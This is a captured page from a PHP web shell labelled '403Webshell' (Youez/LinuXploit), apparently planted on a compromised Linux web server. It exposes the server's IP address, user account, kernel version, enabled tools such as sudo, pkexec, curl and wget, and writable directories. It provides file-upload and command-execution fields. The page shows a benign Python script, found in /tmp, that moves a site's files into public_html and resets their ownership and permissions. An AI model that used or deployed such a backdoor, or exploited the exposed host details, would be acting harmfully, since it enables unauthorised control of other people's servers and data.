403Webshell
Server IP : 119.195.102.159  /  Your IP : 216.73.217.134
Web Server : nginx/1.18.0
System : Linux picell 5.15.0-181-generic #191-Ubuntu SMP Fri May 22 19:09:02 UTC 2026 x86_64
User : altablue ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /tmp/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /tmp/move_public_html.py
import os, subprocess, shutil

base = "/home2/haeyulhome"
pub = "/home2/haeyulhome/public_html"

print("1) public_html 폴더 생성...")
os.makedirs(pub, exist_ok=True)

print("2) 현재 목록 확인...")
items = os.listdir(base)
print("  이동 대상:", items)

print("3) public_html 제외한 모든 항목 이동...")
for item in items:
    if item == "public_html":
        continue
    src = os.path.join(base, item)
    dst = os.path.join(pub, item)
    try:
        shutil.move(src, dst)
        print(f"  이동 완료: {item}")
    except Exception as e:
        print(f"  이동 실패: {item} -> {e}")

print("4) public_html 소유권 및 권한 설정...")
subprocess.run("chown -R www-data:www-data /home2/haeyulhome/public_html", shell=True)
subprocess.run("chmod -R 755 /home2/haeyulhome/public_html", shell=True)

print("\n=== 이동 완료! 최종 haeyulhome 폴더 목록 ===")
for f in os.listdir(base):
    print(f"  {f}")
print("=== public_html 내부 목록 ===")
for f in os.listdir(pub):
    print(f"  {f}")

Youez - 2016 - github.com/yon3zu
LinuXploit